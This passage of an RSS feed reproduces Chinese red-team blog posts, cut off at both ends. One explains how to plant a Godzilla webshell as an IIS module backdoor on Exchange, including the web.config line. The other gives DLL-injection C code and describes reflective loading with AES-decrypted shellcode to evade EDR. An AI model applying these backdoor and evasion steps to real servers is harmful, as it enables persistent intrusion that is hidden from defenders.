&#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.4930032292787944" title="null" data-type="png" data-w="929" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=61d7c19c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOYBfDq2Pz5kfWjHyjbsDM7rOb9NE92eibzRko1yzWKGaBIOyrkbzLDibg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">原始项目的部分代码，如上图。主要在部署完dll之后，通过cookie的值中获取命令值，是cmd还是powershell，还是加载shellcode。最简单在这个逻辑之前插入一段哥斯拉代码来适配哥斯拉客户端，客户端能直接连接。生成原始的哥斯拉的aspx后门，密钥密码加密方式都是默认。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.19228070175438597" title="null" data-type="png" data-w="1425" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=71eab6e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOqPfiaia9SWYgiboIrfJQWdYg6ZoXVonYQtqf0geUQsSicKU9bkFgAdDUng%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">直接插入到原始项目的逻辑之前。注意修改哥斯拉shell中的Context变量名称和原始函数中定义的统一。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2427958307786634" title="null" data-type="png" data-w="1631" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=865f7255&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOdL6x5AgwRCxR9icXnHESTLZ3aMfXZZwWhaslruYibeVE168tXfjTwLfg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">之后直接编译成dll，在exchange的owa目录下新建一个bin文件夹。将dll上传</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.25035161744022505" title="null" data-type="png" data-w="711" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4277bd62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOk4N5Os6uSevicKnicE06xrc5rRbfGBzDWYkHsVlXh00hZNf2K80bJQvg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">修改web.config内容，在</span><modules style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;white-space: normal;">标签中插入 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">&lt;add name=&#34;IIS_backdoor&#34; type=&#34;IIS_backdoor_dll.IISModule&#34; /&gt;</code></modules></p><figure style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.15384615384615385" title="null" data-type="png" data-w="1131" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=77aab5a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOw9m6mCrH8TszqQjgnQiaeeG0FHrzplXDESqyy8EZLia8WNhEoReQIr6Q%2F640%3Fwx_fmt%3Dpng"/></figure><p>之后访问我们的exchange的owa/auth接口 浏览器报500，表示dll已经成功加载。</p><figure style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6589379207180255" title="null" data-type="png" data-w="1337" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=284e9aa9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOK4APjUCWTHqGVSU4A0ql7aglxQAibKRytIMWuXIttibfluX37WptQ2Sg%2F640%3Fwx_fmt%3Dpng"/></figure><p>此时直接通过哥斯拉客户端去连接。</p><figure style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="1.0633946830265848" title="null" data-type="png" data-w="489" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b71eefe8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DO8ahXbVBsYia8VYfFX1dytolHZ2ziaUicohibs8rsCUrCIUFMB9cZd8XTnA%2F640%3Fwx_fmt%3Dpng"/></figure><p>成功连接。</p><figure style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.40236686390532544" title="null" data-type="png" data-w="1690" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=59aaa10e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DO2aCtNnO05ovickh4LrAkXEr4U48gWhGgpGibCqIJwR77ss2Cfe6eFlug%2F640%3Fwx_fmt%3Dpng"/></figure><p><br/></p><p><br/></p>



<p><a href="2247498857">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=eb23774a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247498857%26idx%3D1%26sn%3D0ea7b64ba1048fcf5e77744b4379bd3c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 26 Sep 2022 08:55:00 +0800</pubDate>
    </item>
    <item>
      <title>红队开发基础-基础免杀(四)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247498408&amp;idx=1&amp;sn=4c7b4f210ede4e3ffa60c895703c7f9c</link>
      <description>本文是《红队开发基础-基础免杀》系列的第四篇文章，主要介绍了“反射型dll注入”及“柔性加载”技术。此外，本篇是对该系列文章的一个总结，利用前面几篇文章的技术相结合，达到了bypass主流edr的效果。</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2022-08-25 09:30</span> <span style="display: inline-block;">江苏</span>
</p>

<p>本文是《红队开发基础-基础免杀》系列的第四篇文章，主要介绍了“反射型dll注入”及“柔性加载”技术。此外，本篇是对该系列文章的一个总结，利用前面几篇文章的技术相结合，达到了bypass主流edr的效果。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c388c8bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8794YdMySnPB1u0pVko404NNaZDu1NMGJoKSEuiaaz22LpZk6BPjMr5tJ78jp5ibbLCliceXnFmgOSAhaA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 0px auto 1em;padding: 0px 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">红队开发基础-基础免杀(四)</h1><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">引言</h2><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">本文是《红队开发基础-基础免杀》系列的第四篇文章，主要介绍了“反射型dll注入”及“柔性加载”技术。此外，本篇是对该系列文章的一个总结，利用前面几篇文章的技术相结合，达到了bypass主流edr的效果。</p><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">反射型dll注入</h2><h3 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin: 2em 8px 0.75em 0px;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">为什么需要反射型dll注入</h3><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">常规的dll注入代码如下：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="text-align: left;line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 14px;margin: 0px;white-space: nowrap;">int main(int argc, char *argv[]) {<br/>HANDLE processHandle;<br/>PVOID remoteBuffer;<br/>wchar_t dllPath[] = TEXT(&#34;C:\\experiments\\evilm64.dll&#34;);<br/> <br/>printf(&#34;Injecting DLL to PID: %i\n&#34;, atoi(argv[1]));<br/>processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));<br/>remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);        <br/>WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);<br/>PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE）GetProcAddress(GetModuleHandle(TEXT(&#34;Kernel32&#34;)), &#34;LoadLibraryW&#34;);<br/>CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);<br/>CloseHandle(processHandle); <br/> <br/>return 0;<br/>}</code></pre><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要做了几件事情：</p><ol style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin-left: 0px;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p>1. 从磁盘读取dll到wchar_t数组</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p>2. 将该payload数组写入目标内存</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p>3. 在目标内存中找到LoadLibraryW函数</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p>4. 通过CreateRemoteThread调用LoadLibraryW函数，参数为dll在内存中的地址。</p></li></ol><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这样的操作模式有几个很高危的点。首先，从磁盘读取dll需要考虑dll的静态免杀，对此我们可以直接写在装载器中并加密。其次，在目标内存中找到LoadLibraryW函数，需要GetProcAddress LoadLibraryW，这种调用属于很有特征的调用模式，容易被AV/EDR归类。对此我们的解决措施就是接下来要提及的反射型dll注入技术。最后，CreateRemoteThread进行远程线程注入 行为本身就很高危，同时参数是LoadLibraryW的地址，一眼malware。对此我们优化调用，不再使用CreateRemoteThread进而使用创建新进程的方式结合反射型dll注入技术改变dll注入技术的调用模式。</p><h3 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin: 2em 8px 0.75em 0px;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">实现思路</h3><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">早期的dll注入实现原理：</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="835" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.5652694610778443" src="https://wechat2rss.xlab.app/img-proxy/?k=b9aea207&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNa0LlvpUqWlhsk7SHU4y1Odmg98r9EIicgXgcqK8xPFLHoe5brqOjgljw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">上图比较清楚的写了反射型dll注入的原理，1，2，3步由A向B线程写入dll。第四步调用B线程中的embedded bootstrapper code。最后通过bootstrapper shellcode调用dll的导出函数reflective loader。</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">reflective loader实际上是一个自己实现的LoadLibraryW函数，从内存中找到我们写入的dll并修复使其成为可以被正常使用的pe文件，最后调用DLLmain实现我们的恶意功能。</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我们的具体实现和上面早期的思路有所区别，首先我们不使用远程进程/线程注入的方式，其次我们不需要bootstrapper shellcode这个部分，我们可以直接在加载器部分算出reflective loader在内存中的地址，直接调用即可。</p><h3 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin: 2em 8px 0.75em 0px;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">具体实现</h3><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要参考项目<a href="https://github.com/Allevon412/ReflectiveDLL_Sektor7" target="_blank">https://github.com/Allevon412/ReflectiveDLL_Sektor7</a></p><h4 style="font-size: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">加载器部分</h4><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="935" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.560427807486631" src="https://wechat2rss.xlab.app/img-proxy/?k=dcd5ab52&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaVfpyjCAJ03wjPkPqbOxlgHic5aCibmIC5jold9C2v5PzRWDyUABFbLNw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">首先shellcode使用AES解密，这部分添加了一些c的代码加密</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, 